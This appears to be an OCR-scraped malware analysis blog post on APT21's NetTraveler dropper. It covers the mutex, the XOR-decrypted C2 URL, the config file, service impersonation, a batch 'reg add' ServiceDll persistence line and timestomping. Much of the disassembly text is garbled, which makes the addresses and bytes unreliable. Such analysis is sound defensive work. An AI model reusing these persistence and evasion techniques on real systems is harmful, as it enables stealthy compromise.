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Summary

In this blog post we’re presenting a detailed analysis of 2 malicious files (a backdoor known as “Travelnet”)
linked to an APT (Advanced Persistent Threat) actor called APT21.

APT21 , also known as Zhenbao or Hammer Panda, is a group of suspected state sponsored hackers of
Chinese origin.

According to multiple online sources, that we have referenced in the article, APT 21 historically targeted the
Russian government and groups which seek greater autonomy or independence from China, such as those
from Tibet or Xinjiang.

The first file is a dropper used to register a malicious DLL (NetTraveler trojan) as a service. The main
purpose of the trojan is to gather information about the environment such as user name, host name, IP
address of the host, Windows OS version, different configurations of the CPU, information about memory
consumption, the list of processes. The malicious process is interested in .doc, .docx, .xls, .xIsx, .txt, .rtf, .pdf
files on disk and also on USB drives and network shares in order to exfiltrate them. During the entire
infection, multiple .ini configuration files are created and also the malware has the capability to download
and execute additional files on the infected machine. The data is compressed using a custom Lempel-Ziv-
based algorithm and encoded with a modified Base64 algorithm before it will be exfiltrated to the Command
and Control server.

Technical analysis

Section |

Dropper

SHA256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338

One of the first steps the malware is performing consists of creating a mutex called ” INSTALL SERVICES
NOW!” (note the space). The mutex is used to avoid reinfection of an already infected machine:

.text: 808481880 push ebp

text: 88481881 mov ebp, esp

Ltext:08481803 sub esp, 288h

.text:88481889 push esi

Ltext: 88481884 push offset Name ;5 " INSTALL SERVICES NOW!™
Ltext:8048188F push 1 3 bInitialOwner .
.text:98481811 push @ ; lpMutexattributes Figure 1
.text: 98481813 call ds:CreateMutexd

Ltext: 98481819 mov gsi, eax

.text:88481818 call ds:GetLastError

.text:98481821 cmp eax, 8B7h ; -’

text: 80481826 jz loc_4aelec2

The malicious process creates a configuration file at “C:\Windows\System\config_t.dat” which will be heavily
used during the entire infection. The API call used to accomplish this task is CreateFileA and it's presented
in figure 2:
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#®| 00401716 57 push edi
@ | 00401717 53 push ebx
@ 00401718 6A 02 push 2
&) 00401714 57 push edi
& 0040171E &A 03 push 3
@ 00401710 68 00 00 OO0 CO push COO00000
&) 00401722 50 push eax
e FF 15 30 90 40 00 call dword ptr ds:
. 83 FB FF cmp eax,FFFFFFFF
-® ~ OF 84 1F 04 00 00 je apt.401B51
L] o push eax
] 3 FF 15 &0 90 40 00 call dword ptr ds:
@ | 00401739 8D 85 D4 FA FF FF lea eax,dword ptr
®| 0040173F 56 push esi
& | 00401740 50 push eax
& 00401741 57 push edi
e | 00401742 FF 15 50 90 40 00 call dword ptr ds:
#| 00401748 8D 85 D4 FA FF FF lea eax,dword ptr
@ 004017 4E 68 EO 68 41 00 push apt.4168E0Q
®| 00401753 50 push eax
@ 00401754 E& F8 OF 00 00 call apt.401F51
@ 00401759 BB FO mov esi,eax
o | ooso17sE 59 pop ecx
ol ~menzmn- e oS ey
<

[<&CreateFileax]

[<&CloseHand]ex]
ss: [flebp-52C

[«&GetModuleFileNamess:]
s5:[febp-52C§

>

eax: "C: Y\ \WINDOWSY\ system'
eax: "Ci\\WINDOWS" \system’
eax: "C:i\\WINDOWS" \system
eax: "C: YV \WINDOWSY\system'
4168E0:"rh"

eax: "Ci A\ \WINDOWS\ Y system’
eax: "Ci\\WINDOWS" \system

X87r
XB7r
XBTr
XETr
XB7r
XBTr
XE8Tr
XB7r

X871
XB71
X871
X871
x871

130 <apt.&CreateFileax]=<kernel32.CreateFilea>

"C W A\WINDOWSY\system'\config_t. Ha o

pt.exe: §1723 #B23
z 0013FB40D
ump2  @loump3  @loump4  @Woumps @ watchi | belloals | ¢ stuct | ooioersn| Coo00000
ASCTT A || 0D13E794| 00DDDDDO3
C 57|49 4E 44 4F|57 53 5C 73|79 73 74 65 |H: "\WINDOWS\syste ARG gggggggg
3 6F|6E 66 69 &7 |5F 74 2E 64|61 74 00 00| m,config_t.dat.. 00000080
0O 00|00 OO0 OO OO|0O8 O8 00 OO|7F OO0 O0 D0| «.uueeinnennnns
AoAanlTE A AN AanlAan A e oAanlcn EA 07 TT A L (=5 I 00000000
Figure 2
The following bytes found at a precise location in the malicious file are read in order to decrypt them:
Address | Hex ASCII
0019FACO| 56 4A 4A 4E|04 11 11 49|49 49 10 48|57 4E 53 5F VJJN...II].E-MNS_F.
D0L9FADO|57 52 4C 4B[10 5D 51 53|11 50 SB 49|40 57 50 58|WRLK.]Qs.P[IMwpxigure 3
OOL3FAED| 51 11 OF OF (50 4A 11 50|5B 4A 4A 4C|5F 48 5B 52 |Q...P1.P[IIL_H[R
0019FAFO |5B 4€C 10 S5F|4D 4E 00 00|00 OO0 00 OO0|00 00 OO0 00| fE.ZMN..........

The decryption routine is shown in the next figure and consists of a XOR operation with Ox3E:

JText:eed481698 xor
Ltext:ea48l63l cmp
text:eadplosl jle

edx, edx
[esptarg_4], edx
short locret 4816BC

M2

Ltext:eadalens

Ltext 08401643 mov
Ltext:ee4a16A7 lea
Ltext 884816448 mov
Ltext 08401640 test
text:@04016AF jz

Ltext:0840816A3 loc 4816A3:

eax, [esptarg @]
ecx, [edwxteax]
al, [edxteax]
al, al

short loc_4616E5

bl s =

.text: xor
text: 8840816683 mov

al, 3Eh
[ecx], =1

P

Ll s [55]

Ltext:eedaleBs

.text:884816B5 inc
Ltext:eed8l666 cmp
text:e84816BA j1

Ltext:884816B5 loc_4816B5:

edx
edx, [esp+arg_4]
short loc_4816A3

Figure 4

|
¥y

text:eed48leBC
Jtext:eeddleBC
LtextieedslsBC
text:ee48l6BC
Ltext:esdsleBC

retn

locret_4816BC:

sub_ 481698 endp
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After the decryption is over the new string represents a URL which contains the C2 server as we’'ll see later
on:

Address | Hex ASCII

DD13FACO|68 74 74 70|3A 2F 2F 77|77 77 2E 76|69 70 6D 61| http:/ www.vipma| _.
0D19FADO| 69 &C 72 75 |2E 63 6F 6D |2FE GE 85 77|73 69 6E 66|1ilru.com/newsinf Flgure5
ODOL9FAED|6F 2F 31 31|6E 74 2F GE|G65 74 74 72|61 76 65 6C|o/1int/nettravel
O019FAFO |65 72 2E 61|73 70| 00 00|00 00 00 00(00 00 00 00| BFa8SP. «vvvura.

The configuration file is populated using WritePrivateProfileStringA API calls as shown below. Please note
that WebPage is equal to the string decrypted above and the others options will be explained later on in a
better context:

®|| 00201901 50 push eax eax:"hrtp: / /wew. vipmailr) x87Tagword FFFF
® || 00401302 8D 85 DC FC FF FF lea eax,dword ptr ss:llebp-324J X87TW_0 3 (Empty) HETTV
e | 00401308 50 push eax "http: //www. vipmailr XSTTW. 2 2 (EmpTy) 37TV
e || 00401909 68 D4 63 41 00 push apt.416804 4: "webPage” =
e | n04013DE 52 push ebx :"option"” b a1 £ S 0
FE— FF D& call esi i:WritePrivateProfiles XBTTW_6 3 (Empty)  X87T¥
o[ D04019EL 6A 04 push 4
®|| 004019E32 8D 45 FC lea eax,dword ptr ss:[febp-4J x875tatusword 0000
o || 004019E6 57 push edi XK87SW_B 0 X87SW_C3 O
& || 003019E7 50 push eax eax:"hrtp: //wew. vipmailr| X87SW_C1 DO XSB7SW_CO O
¢ | 004013E8 E8 93 08 00 00 €&l apt.402280 XB7SW_SF D x87SW_P O
|| 003019ED 83 C4 0OC add esp,C e
& || 004013F0D 8D 45 FC lea eax,dword ptr ss:llebp-41 W e
*| i SR e ” Default (stdcall)
esi=<kernel32.writePrivateProfilestringA> (763591A0) {2‘2514‘]"’33522204
[esp+B8] 0D019F9IBC
sp+C] DDLSFB4! %
. TeXt:0040190F apt.exe: §190F #DDF e
Woumpl  @oumpz  @oump3s  @oump4 @oumps @ watch1  bellocals & struct %ﬁm °2§;§ge--
0019F7AQ | 0019F 9BC ttp: //www.vipmailru. com/newsinfo/11nt /nettraveler.asp”
MEE‘M L M!ASCIL R —— I. "‘ 0019F7A4 | 0D19FB40 "c:\‘\}wijmws\\ggstm\\cun;iu_t.dat'j: 4 2
Figure 6
i o || 00401404 50 push eax eax: 10" X887
I ® (| 00401408 8D 45 FC lea eax,dword ptr ss:[lebp-4] XEBT
1 & || 00401A0E s} push eax eax: "10 ar
| ® || 00401A0F 68 C4 68 41 00 push apt.4163C4 4168C4: "DownCmdTime™ e :
! e|loo4p1a14 53 push ebx ebx: "option” K87
F————» FF D& call esi esi:writePrivateProfiles
! ®| 00401A17 6A 04 push 4
! e | 00401A19 8D 45 FC lea eax,dword ptr ss:|[Jebp-4]
1 ® (| DD401A1C 57 push edi
| e || 0040141D 50 push eax eax: "10"
! ¢| 0040141E ES 5D 08 00 00 €all apt.402280
¢ & 00401A23 83 C4 0OC add esp,C
g @l ~menra=- . am e ST St feuy Bel b S
\L £ >
esi=<kernel3z.writePrivateProfileStringaA> (7635931A0)

.Text: 00401415 apt.exe:$1A15 #E15

i 00416640 | "Option™
@oump1  @pumpz  @Woump3s  Woumpa  @loumps @ watch1  [x=lLocls B el e T BAC S "Dﬁmmd'r-i me"
o

Address | Hex [asciz | A| 0D1SF7AD | 0D19FCDC “10™ . i
—|mm=mr e e e ! DO19F7A4| DD19FB40 | "C:\\WINDOWS\\system\\conTig_t.dat

Figure 7

® (| DD401840 50 push eax eax: 128"
e | 00401441 8D 45 FC lea eax,dword ptr ss:[febp-4 ®87
# (| 0DD401844 50 push eax eax: 123" x87"
®| 00401A45 68 B8 68 41 00 push apt.4168E8 416888: "Uploadrate™ 87"
. AdA 53 push ebx ebx: "Option" =
E— 1B FF D& call esi esi:writePrivateProfiles ]
e |[ 0D40144D 39 7D F8 cmp dword ptr ss:[ebp-5],edi HET
® || 00401A50 8D 85 &0 FE FF FF Tea eax,dword ptr ss:|[ebp-1a0f
# (| 00401456 50 push eax eax:"128"
r-—--8| 00401A57 ~ OF 84 BA 00 00 0O je apt.401B17
| | 00401ASD 68 B4 68 41 00 push apt.4165B4
i e | 00401A62 BB AC 65 41 00 mov ebx,apt.41658AC ebx: "Option™, 4168AC:"0tl|
®| 0D401A67 68 A8 68 41 00 push apt.4168A8 4168A8: "UP"
® | 00401AGC 53 PHED ebx prion” e W
. £ >
esi=<kernel3z.writePrivateProfileStringA> (763591A0)

LText:00401A4B apt.exe:$1A4B #E4B

00416640 | "Option”

004168858 | "Uploadrate"”

0019FCDC | 128"

O019FB40 | "C: Y\ \WINDOWSY\system'\config_t.dat"

24 Dump 1 24 Dump 2 24 Dump 3 U4 Dump 4 U4 Dump 5 @ Watch 1 |x=| Locals 2’ Struct

Address | Hex [ ascIT [ A|00195__*
ANt OCrne 33 3% 30 NNICA CC 18 NNl 40 an 4n nnlnn nn nn nnl 850 AR O @ T 0019F7A4

Figure 8
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401B0A push eax eax: "C:\\WINDOWS\ \system’
00401B0B lea eax,dword ptr ss:[[ebp-4[ Lasi
00401B0OE push eax eax: "C: \\WINDOWS\ system' Las1
00401B0F push apt.416594 416894: "PF"
00401B14 push ebx ebx: "option” GS
00401B15| =~ jmp apt.401B26 ES
00401817 push apt.416590 cs «
00401B1C push apt.4168A8 4168A8: "UP
00401821 push apt.4168AC 4168AC: "Other” XBT1
00401B26 call esi esiiwritePrivateProfiles
004018258 cmp dword ptr ss:[ebp-i1Cll,edi ]
00401B2B lea eax,dword ptr ss:[Jebp-1a0] X871
00401831 push eax eax: "C: \\WINDOWS\ \system' XE71
00401B32 w je apt.401B3B X871
00401834 push apt.416584 X871
00401839 ~ jmp apt.401B40 X871
00401B3B push apt.416830 N8BT
00401840 push apt.4165384
00401B45 push apt.416878 xE7"
00401B4A call esi i:writePrivateProfiles x87"
00401B4C push 1 X387
00401B4E pop eax eax: "C: \\WINDOWS\\system' X87"
00401B4F | jmp apt.401B53
00401B51 xor eax,eax eax: "C: \\WINDOWS\ system' X87
00401853 pop edi
00401B54 pop esi esj:writePrivateProfiles X871
00401855 pop ebx ebx:"option” X871
00401B56 leave N8BT
00401857 ret X871
00401B58 FF 74 24 04 push dword ptr ss:[esp+4] [esp+4]:"UP" s
00401B5C E8 C9 OE 00 00 €all apt.402A2A o —
ppeesren i —— 5 (Defau
esi=<kernel32.writePrivateProfileStringA> (763591A0) ; E
F=F
.TexXt:00401E26 apt.exe:$1B26 #F26 fE[
Woump1  @Uoump2  @Hpump3  @WDumpa  @Woumps @ watch1  [x=lLlocals & struct | [oo1oETec gg:ig% --%Eer
O012F7AOQ | 004168390 | apt. 00416830
s S | — 00197742 | 0019FB40 | "C:\\WINDOWS'\SysTem\\config_t.dat"
Figure 9
L—E——»- 00401B3B 68 90 68 41 00 push apt.416890 %871
® | 0D401E40 65 84 63 41 00 push apt.4165384 416854:" %877
®| 00401B45 68 78 63 41 00 push apt.416578 416878: "
FF D& call esi esi:writePrivateProfiles X871
e [ 00401B4C 6A 0L push 1 X871
e | DD40D1B4E 58 pop eax eax: "C:\\WINDOWSY\ system’
®| 0D401B4F | ~ EB 02 jmp apt.401B53
® | 00401B51 23 Co XOr eax,eax eax: "C: Y \WINDOWS\\ system'
® | 0D401B53 5F pop edi
®| DD401B5 4 SE pop esi esi:writepPrivateprofiles
@ 00401B55 5B pop ebx ebx: "0Option™
®( 0D0401B56 c9 leave
®l< >
esi=<kernel32.WritePrivateProfileStringA> (763531A0)
. Text:00401B4A apt.exe: §1B4A #F4A
@oump1l  @Hpump2z @Hoump3  @pump4 @ Dumps @ watch1  Ix=lLocals ' Struct 0019F7aC gg:igggﬁ --%Qimk--

| AsCcII |

Address !Hex
ontaFcnc 248 22 38 onlFa FF 19 onlaa 10 a0 onlon o0 oo onl®28_ob. _H.@. ... !

Figure 10

0012F7TAD| 00416884
0012F7A4 | 0D019FB40

After all of these API calls the configuration file has the following schema:

= config_tdat E3 |

[OCption]

DownCmdTime=10
UploadRate=128

ok W

[Cther]
UP=0
[CtherTwol
AutoCheck=1

=]

e

ServiceName=FastUserSwitchingCompatibility

WebPage=http://www.vipmailru.com/newsinfo/llnt/nettraveler. asp

apt.004168B4

S H \&w_I M:!gwg\_\systan\\_c onfig_t.dat™

Figure 11

Now there is a byte at offset 0x334 in the file which indicates if the malicious process is supposed to use a
proxy or not (by default this value is 0 and UP=0 means the malware is not using a proxy for network
communications). If that byte is set to 1, the malware writes UP=1 in the configuration file and also 5
additional values: PS (proxy address), PP (proxy port), PU (proxy user), PW (proxy password) and PF
(unknown). RegQueryValueExA API is used to retrieve the type and data for netsvcs (svchost.exe)
associated with “HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows

NT\CurrentVersion\Svchost”:
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e | o040112F 50 push eax
®( 00401130 8D 85 BC F3 FF FF 1ea eax,dword ptr ss:[lebp-c74]
®| 00401136 50 push eax
®( 00401137 8D 45 88 lea eax,dword ptr ss:[febp-75j
@ 0040113A 50 push eax
®( 00401138 53 push ebx
| 0040113C 68 24 &8 41 00 push apt.4163824 416824 "netsves”
®( 00401141 FF 75 EC push dword ptr ss:|febp-14[
Eg—s FF 15 04 90 40 00 call dword ptr ds:[<&RegqQueryValueExA>]
®( 00401144 FF 75 EC push dword ptr ss:jfebp-14)
® | 0040114D BB FO mow Es'l aax
o ol e s e m— T L cesemeee———
< >
dword ptr [00409004 <apt.&RegQueryValueExAx>]=<advapi3z.RegjueryvalueExA>
.text:00401144 apt.exe:$1144 #544
3 0000014C
@Woump1 | @lpump2  @Woump3  WWoump4  @loumps @ wathi | ke=llocals | ' Stuct | [OoiocEat| 00416824 | "netsves”
Asirees Lies BT 00195554 | 0019FCES
0019FCDC (00 00 00 00 00 00 00 00 ....Ob..\.E_l. U[]lBEESé 0013F06C
S e e O019EESC | 0D19FCBC
Figure 12

The malicious file enumerates all the available services on the host and compares them with a hardcoded
list presented in figure 13. The first service which is not found on the system will be used for malicious
purposes as we’'ll describe further.

Address

ASCIT

O019F 6L
O019F07C
O019F0EC
O0L9FD9C
O0L9F0AC
O019F0BC
O0L9F0CC
O019F0DC
O0L19FDEC
O0L9FOFC
O0L9F10C
O019F11C
0019F12C
0019F13C
O019F14C
O019F15C
O0L19F 16l
O019F17C
O019F18C
O019F19C
O019F1AC
O019F1BC

&C
72
&7
&b
00

70
53
00
64
61
72
70

73 7
69

50
53
o0
&D
00
45
63
74 79 00
00 74
Ti _:a ﬁ Tg
&6E 74 00D
6E 52
45 53
o0 52
72 oo
i 6l

&C

65
&F &F
68

74
D 72
65 7

EE
&7 74

6F 7
63
70

&9
&9
76
69

0o

6E
&F

CertPropsSvc. SCPo
TicySwc. lanmanse
rver.gpsvc.iphlp
svC.msiscsi.sche
dule.winmgmt. Ses
sionEnv. Fastuser
SwitchingCompati
bility.Ias.Irmon
.Nla.Ntmssve. NWC
workstation.Nwsa
pagent.Rasauto.R
asman.Remoteacce
55.5ENS. Sharedac
cess. SRService. T
apisrwv.wmni.wmdmP
mSp.wuauserv.BIT
5.ShelTHwWDetecti
on. LogonHours. PC
Audit. helpsvc. up
Toadmgr . TokenBro
ker.UserManager.
AppMgmt. ..o...R.

Figure 13

The strategy is as follows: it will enumerate the keys corresponding to a service like
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>" in order to see if the
service is installed or not. The following services have been present on the analyzing machine:
CertPropSvc, SCPolicySvc, lanmanserver, gpsvc, iphlpsve, msiscsi, schedule, winmgmt, SessionEnv and
the first one which was missing is FastUserSwitchingCompatibility. RegOpenKeyEXxA API is utilized to check
for the existence of the services, one such example is detailed in the figure below:

o1

BS BC F7 FF FF

02 00 00 B8O

15 00 90 40 00
€3

DE

-Text: 004011E8 apt.exe: $11E8 #5E8

push eax

push 1

Tea eax,dword ptr
push ebx

push eax

push 80000002

ss:ebp-57

Bl |

call dword ptr ds:[<&RegOpenkeyExA>]

cmp eax,ebx
jne apt.401200

dword ptr {06409000 <apt.4dRegopenkeyExA>]=<advapi32.RegopenkeyExa>

B8 0umpl @45 Dump 2

¥4 Dump 3

% Dump 4

% Dump 5

& watch 1

=] Locals

# struct

1 TSYSTEMY\CurrentCont!

x87TW_0 3 (Empty)
XB7TW_2 3 (Empty)
X87TW_4 3 (Empty)
1 "SYSTEM\\CurrentCont! X87TW_6 3 (Empty)
| x&75tatusword 0000
DUSYSTEM\\CUrrentCont i
Defadt{sldcal]

1i [esp] 80000002

[esp+4] DOL3F46C
[esp+8] 00000000
[esp+C] 00000001

|

>

| ASCII

‘MHS

D019F46C 53 59 53 53 4-_, 4D SC -t:l’S 72 72 65|6E "-t 4: G SYSTEM CJrrentco|

Figure 14

. |

“SYSTEM\\CurrentControlSet)\Services\\CertPropsvc”

The file “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” associated with
FastUserSwitchingCompatibility service is supposed to be deleted by the running process (it doesn’t exist

on the machine):
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B4

44
FF

67
70
&7

41
a1

15689040
FE FF

90 40 C

00
90 40
00

ush eax

dword

Tea eax,dword ptr ss:Qebp
ush eax

cmp

dword ptr da [=&GetFileAttributesaAs>]
eax,F

FFFEFFF

jne apt. 401285_

ush apt.41

ptr ds: [meu:eﬁlm]
i7cll

dword ptr ds: [<&tloadLibraryAs]
push apt.4167D0

eax: "C: '\ \WINDOWS' \SysTen
- x87Tagword FFFE
R R X8TTW_O 3 (Empty)
eax: "Ci\\WINDOWS' |\ System X87TW_2 3 (Empty)
eax: "C:\ \WINDOWS \system X87TW_4 3 (Empty)

X87TW_6 3 (Empty)
4167ED: "advapizz.d11”

x875tatusword 000C
4167D0: "CreateServicea”

| wnzow n o wnwow
L, e N —1
ean: "C:\\WINDOWS \\System ¥ |=————— ==

-

-Text: 00401235 apt.exe:$1235 #635

[T, S [

Figure 15

-

. s

tera i

dword ptr [D0409068 <apt.dDeleteFileA>]=<kernel32.DeleteFileA> '2: es=+4 004028D
3: [esp+8] 0000014
| 4: |esp+C] CO27A00

A new service called “FastUserSwitchingCompatibility” is created using CreateServiceA API function which
tries to impersonate the legitimate service, the binary path of the service being

%SystemRoot%\System32\svchost.exe -k netsvcs (legitimate process):

Figure 16

o oo401264 53 push ebx X87r2
e DO401265 53 push ebx x87ra
e 00401266 53 push ebx X87r4
e/ 00401267 53 push ebx X87rsS
| 00401268 B9 AD &7 41 00 |mov ecx,apt.4167A0 ecx: "HSystemRoot®\\Syster XB7re
& 00401260 53 push ebx 87r7
& D040126E 51 push ecx ecx: "HSystemRootH\\Syste:
® || 0040126F 6A 01 push 1 X87T2
ol 00401272 6A 02 push 2 XB7TW
el 00401273 6A 20 push 20 XB7TH
o 0040127 68 FF 01 OF 00 push FOLFF 7w
e 0040127 56 | push esi esi:"FastuserswitchingCo X8
e[| no401278 56 push esi esi:"FastUsersSwitchingCot X87TH
: ® | 0040127C FF 75 EB8 ush dword ptr ss:[febp-15]
FEg——————3» FF DO eax eax:CreateServicea x8751
¥ e 00401281 3B C3 cmp eax,ebx eax:CreatesServiceA =
e| 00401283 89 45 DS imov dword ptr ss:[lebp-zsj,eax eax:Createservicea W Ii
————— . . Default
pE < > —
T = ]
eax=<advapi3z.CreateServiceA> (776230C0) 2: [e
3: [e
4: [e
.text:0040127F apt.exe:$127F #67F [—
Woump1 @Hoump2 WWDOump3  WNDump4  Wloumps @ watchi x| Lolalt 05 “FastusersSwitchingCompatibility”
Address | Hex ASCII A "FastuserswitchingCompatibility”
O019FBE4 |43 3A 5C 57|49 4E 44 AF'S: 53 5C 73|79 73 74 65 |C: \WINDOWS\SysTe
O019FB74 | 6D 33 32 5C |46 61 73 ’4|§$ 73 65 72 o L4 | m32\FastusersSwit
O019FBB4 |63 68 69 6E|67 43 &F 0 61 74 69(62 69 6C 69 Ch1ng‘.’,1?€;lpat?b\“ |
OD019FB94 |74 79 65 78|2E 64 6C 6C|00 00 00 00|00 00 00 00| tyex.dll........ = "
0D19FBA4|00 00 00 00[00 0O 00 00|00 0O 00 00|00 0D 00 Iggggg;‘;g "KSystesRoot¥\\System3z\\svchost.exe -k netsvcs
D019FBB4 |00 00 00 00|00 00 00 00|00 0O 00 00|00 00 00 Ioaoooooo
001SFBC4 |00 00 00 00|00 00 00 00|00 OO0 00 00|00 0O 0O | oooo0000
DO19FED4 |00 00 0O 00|00 0D 00 00|00 00 00 00|00 0D 0D | 00DDDO0D
0019FBE4 |00 00 00 00|00 00 00 00|00 OO 00 00|00 00 00 =c | 00000000

If the call is successful we'll see a registry key like the one displayed in figure 17. (this technique is part of
evasion techniques). Attackers will try to impersonate/use legitimate system binaries or libraries on the host
to hide malicious activity This will allow them to blend with regular activity and remain hidden. (you can find

File Edit View Favorites

Help

Computer\HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\FastUserSwitchingCompatibility

dmwsc

DoSve
dot3sve
Des

DsmSve

Figure 17

drmkaud

Disk Pulse Enterprise
DméEnrolimentSvc

dmwappushservice
Dnscache

-

Name

ab] (Default)

k| DisplayMame
| ErrorControl
25| imagePath
b ObjectMame

%] Start
4] Type

4 wowes

Type

REG_SZ

REG_SZ
REG_DWORD
REG_EXPAND_SZ
REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD

Data

{value not set)

FastUserSwitchingCompatibility

Dx00000001 (1)
#SystemRoot %\ System32\svchost.exe -k netsves
LocalSystem

(00000002 (2)

000000020 (32)

(000001 4c (332)

In order to verify that the service was successfully created the malicious process tries to open
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” (now it

exists because it corresponds to the newly created service):
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&8 3F 00 oF 00 B et e S TR TR R EC M ] T T 5 e A
% . s e X87TW_2 3 (Empry XBTTW,
?; BS BC F3 FF FF ;::ﬂe:;idmrd ptr ss:febp-c74] XB7TW_4 3 L_Eﬂ!nw) *SZT\U.
50 push eax eax: "SYSTEM\\CurrentCont XB7TW_6 3 (Empty)  x87TW.
FF 75 EC push dword ptr ss:febp-14) ~
FF 15 00 90 40 00 €all dword ptr ds:[<&RegipenkeyExax] ] x875tatusword 0000
3B €3 cmp eax,ebx B Y ST e U I O |t ——
v 74 1S & apt.401340 it IDe*fa it (stdcal)
1 11340 = = .
e ————————————————— = H 25 80000002
dword ptr (00409000 <apt.&RegOpenkeyExA»]=<advapi3z2.RegopenkeyExa> 1k Eesgiu] 0019F0DEC "SYSTE
3: [esp+8] 00000000
O00F003F
-Text: 0040132E apt.exe: $132E #72E Lesp+C 3
o I
@houmpl  §4oump2  @eDump3  UDuod  WwDumps @ wathi  ieliolal “SYSTEM\\CurrentControlser) \5ervices) \FastuserswitchingCompatibl 11ty”
Lt [AscIz B~ 00
0019FD6C B4 59 53 5445 4D 5C 43(75 72 72 65|GE 74 43 GF| SYSTEM\Currentco|

Figure 18

A new key called “Parameters” is created under
“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility” using
RegCreateKeyA API. This will be used to register a malicious DLL as a service:

& 00401392 50 push eax

| 00401393 68 68 &7 41 00 push apt.416768 4167 65: "Par ameters”
& 00401338 FE 75 EC push dword ptr ss:|febp-14J

L] FF 15 18 390 40 00 call dword ptr d=:[<&RegCreatekeyA>]

L ]

dword ptr [00409013 <apt.&RegCreatekKeyAs]=<advapi32.RegCreatekeya>

.Text: 00401398 apt.exe:$1398 #798
000DD180
Wioump1i | @oumpz  @Woump3  @Woump4  @Woumps @ watch1  [x=lLofalk W
IAIEHFPSS I Hew IJl.QC'['I I ~ " O0L9EESC | 0019FCED
Figure 19

The process creates an empty file called temp.bat in the same directory as the initial executable (in our
case, Desktop). The content of the batch file is shown below:

"Parameters"”

[ emp e ]
Jacho oft
freg add "HKEY LOCAL MACHINE\SYSTEM\CurrentControlSec\Services\FastUserSwitchingCospatibilicy\Parameters™ /v ServiceDll /t REG EXPAND 5Z /d C:\WINDOWS\syscem3l\FastUserSwitchingCompacibilicyex.dll

Figure 20

The purpose of the batch file is to register the DLL found at
“C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” as a service by adding “ServiceDII” entry.
File “C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll” doesn’t exist at this time, however it's

created by the malware using CreateFileA API as shown below (it will be populated with malicious code as
we'll see in a bit):

: . 53 push ebx X87r7 00000000000
! . 68 80 00 00 00 push 50
i L 6A 02 Dus: :b xB87Tagword FFFF
' : Eg g::h :n: XB7TW_0 3 (Empty)
i . 8D 85 84 FE FF FF lea eax,dword ptr ss:febp-17c) ;:;ﬁ : (:mp;y)
H - 68 00 00 00 40 push 40000000 - (EmpTy)
] . 50 ush eax eax: "C: '\ \WINDOWS' \ systTem XITHE 3 (Empry)
Eg——» FF 15 30 90 40 00 gﬁ!-‘l dword ptr ds:[<aCreateFilear]
i . ) 8B F8 mov edi,eax edi:CloseserviceHandle, x875tatusword 0000
! P £B 83 FF FE edi ,FFFFFFFF edi:CloseserviceHandle ]
. ~ OF 84 C3 00 00 00 je aprt.401sC7?
e 5 |Default (stdcal)
i 1: [esp] DO19FB64
dword ptr [DD409030 <apt.&CreaterileA>]=ckernel3z.Createrilear 2: [esp+s] 4000000
3: [esp+8] 0000000
4: [esp+C] 0000000
+Text:004014F3 apt.exe: $14F3 #8F3

$oump1  @Noump2  @Soump3  @Dump4  Whoumps @B watchi  eliolalk T

Address | Hex 1T

D019FBE4 |3 3A 5C 57|49 4E 44 4F|57 53 5C 73|72 73 74 65 @ \WINDOWS\Syste

DD1SFB74|6D 33 32 5C|46 61 73 74|55 73 65 72|53 77 63 J4|m32\FastuUserswit

0019FB84 |63 68 69 6E|67 43 &F 6D |70 61 74 63|62 69 6C 65| chingCompatibili
Ta £ To il m e i A11

Aniacoaas | Ta lne 24 er erlan Aan anor

" anl wuas

Figure 21

“Timestomping” is a tehnique used by a malicious actor to modify files’ timestamps (for example
created/modified timestamps) in order not to raise any suspicions about the file. In our case the created and
modified timestamps of the DLL file are set to Tuesday, August 17, 2004, 9:00:00 PM:
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General Securty Detaile  Previous Viersions

| FastUserSwitchingCompatibilityex.dll Properties

FastUserSwitchingCompatbiityex.dll

Type of fle:  Application extension (.dll)

Openz with:  w Commen File Format Ex : Change...
Location: Chwindows'\Sys\wOWwed
Swe: 0 bytes
Seeondisl: 0 bytes Figure 22
Created: Tuesday, August 17, 2004, 5:00:00 PM
Maodrhed: Tuesday, August 17, 2004, 5:00:00 PM
Aocessed: Today, November 22, 2020, 1 minute ago
Atibutes: [ |Read-only [ ] Hidden ' Advanced... |
| Cancdl | [ oy

Now the DLL file created earlier is filled with malicious code using WriteFile API. Even if the path of the file
looks legitimate (running from “C:\Windows\SysWOWG64” directory), it's just impersonating a legitimate

service:
e — e e P g w e oo meep s
& 00401546 53 push ebx
®| 004015A7 51 push ecx
®|(D04015A8 &8 00 B& 00 00 push BGODO
@ 004015AD 68 40 BO 40 00 push apt.40B040
®( 00401582 57 push edi
= FF DO call eax eax:WriteFile
| 004015B5 68 F4 01 00 00 push 1F4
® | 004015BA FF 15 40 90 40 00 €all dword ptr ds:[<&Sleep=]
®ll<
eax=<kernel32.writeFile> (7G63FE250)
.text: 0040153 apt.exe:$15B3 #9B3
9 iC
Woump1  Wpumpz  @Woump3  @WDump4  Wpumps @ watch1  be=liolal gggggéi; apt. 00408040
0019EES 4 | 0O00BE0OD
m‘ Lafz: HEL 2y 0019EESS | CO19FCCE
0040B040 /4D 5A 20 00|03 00 OO0 00|04 00 Q0 OO|FF FF 00 00| MZ. 0019EESC | DODOODO0
0040B050| B8 00 00 00|00 OO0 OO OO|40 OO OO 00|00 OO OO0 OO0 DO19EEGD | 004028D3 | apt. EntryPoint
0040B060 | 00 00 00 00|00 OO0 0O 00|00 OO0 0O 00|00 0O OO0 OO0 0D13EEG4 | 00000148
0040B070| 00 00 00 00|00 OO0 OO OO|00 OO0 OO OO|FO OO OO OO0 O00L19EEGS | 0027 ADOOD
0040B080 | OE 1F BA OE |00 B4 09 CD |21 B8 01 4C|CD 21 54 68| . O019EEGC | 67657240
0040BO90 (69 73 20 70|72 6F &7 72|61 6D 20 63|61 6E GE 6F(1s program canno DDlQEE;O 64646120
